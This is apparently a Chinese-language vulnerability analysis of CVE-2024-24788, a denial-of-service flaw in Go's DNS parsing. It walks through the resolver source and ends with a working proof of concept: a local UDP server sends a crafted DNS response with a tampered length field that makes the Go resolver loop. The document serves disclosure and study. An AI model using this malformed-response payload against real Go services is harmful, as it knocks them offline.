CVE-2024-24788 Golang DNS解析过程中的DOS漏洞

func main() {  r := net.Resolver{PreferGo: true}  r.LookupNS(context.TODO(), "test.dns.o1hy.com")  fmt.Println("over")}

net.extractExtendedRCode (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:262)net.checkHeader (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:207)net.(*Resolver).tryOneName (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:314)net.(*Resolver).lookup (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dnsclient_unix.go:462)net.(*Resolver).goLookupNS (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:815)net.(*Resolver).lookupNS (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup_unix.go:108)net.(*Resolver).LookupNS (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:610)main.main (/Users/ymoon/workspace/project/golang/1-CloudMitm/test/test_dns.go:54)runtime.main (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/proc.go:271)runtime.goexit (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/asm_arm64.s:1222)

func extractExtendedRCode(p dnsmessage.Parser, hdr dnsmessage.Header) dnsmessage.RCode {  p.SkipAllAnswers()  p.SkipAllAuthorities()  for {    // 此函数不能报错    ahdr, err := p.AdditionalHeader()    if err != nil {      return hdr.RCode    }    // 这里的 type 不能为 TypeOPT    if ahdr.Type == dnsmessage.TypeOPT {      return ahdr.ExtendedRCode(hdr.RCode)    }    // 此函数需要报错    p.SkipAdditional()  }}

// 这里的 if 一直为 true// p.section 和 sec 均为常量if p.resHeaderValid && p.section == sec {  // p.off 不可控  // 此时如果让 p.resHeaderLength 为一个很大的值，就会让下面的报错触发了。  newOff := p.off + int(p.resHeaderLength)  if newOff > len(p.msg) {    return errResourceLen  }  p.off = newOff  p.resHeaderValid = false  p.index++  return nil}

func (p *Parser) resourceHeader(sec section) (ResourceHeader, error) {  if p.resHeaderValid {    p.off = p.resHeaderOffset  }   if err := p.checkAdvance(sec); err != nil {    return ResourceHeader{}, err  }  var hdr ResourceHeader  // 由此解析 msg 到 hdr 中  off, err := hdr.unpack(p.msg, p.off)  if err != nil {    return ResourceHeader{}, err  }  p.resHeaderValid = true  p.resHeaderOffset = p.off  p.resHeaderType = hdr.Type  // 需要让 hdr.Length 为一个大值  p.resHeaderLength = hdr.Length  p.off = off  return hdr, nil}

func (p *Parser) resourceHeader(sec section) (ResourceHeader, error) {  if p.resHeaderValid {    p.off = p.resHeaderOffset  }   if err := p.checkAdvance(sec); err != nil {    return ResourceHeader{}, err  }  var hdr ResourceHeader  // 由此解析 msg 到 hdr 中  off, err := hdr.unpack(p.msg, p.off)  if err != nil {    return ResourceHeader{}, err  }  p.resHeaderValid = true  p.resHeaderOffset = p.off  p.resHeaderType = hdr.Type  // 需要让 hdr.Length 为一个大值  p.resHeaderLength = hdr.Length  p.off = off  return hdr, nil}

func main() {  go StartUdp()  r := net.Resolver{PreferGo: true, Dial: func(ctx context.Context, network, address string) (net.Conn, error) {    udpAddr, err := net.ResolveUDPAddr("udp", "127.0.0.1:1153")    if err != nil {      log.Println(err)      os.Exit(1)    }    return net.DialUDP("udp", nil, udpAddr)  }}  r.LookupNS(context.TODO(), "test.dns.o1hy.com")  fmt.Println("over")} // 接受 DNS 请求func StartUdp() {  addr := "0.0.0.0:1153"  udpAddr, err := net.ResolveUDPAddr("udp", addr)  if err != nil {    log.Println(udpAddr)  }  conn, err := net.ListenUDP("udp", udpAddr)  defer conn.Close()  if err != nil {    log.Println(err)  }  for {    hanldUdp(conn)  }} func hanldUdp(conn *net.UDPConn) {  var buf [512]byte  n, addr, _ := conn.ReadFromUDP(buf[0:])  fmt.Println(buf[:n])  // 修改这个值为一个比实际 Additional Data 大的值。通常 go 获取到的 Data 都是 0  hdrLength := "0001"  // 下面数据中的 hdrType 也已经进行了修改  data, err := hex.DecodeString("daa581820001000000000001047465737403646e73046f31687903636f6d000002000100003104d000000000" + hdrLength)  // 修改 dns resp 的 id  data[0] = buf[0]  data[1] = buf[1]  _, err = conn.WriteToUDP(data, addr)  if err != nil {    fmt.Println("发送响应失败：", err)    return  }}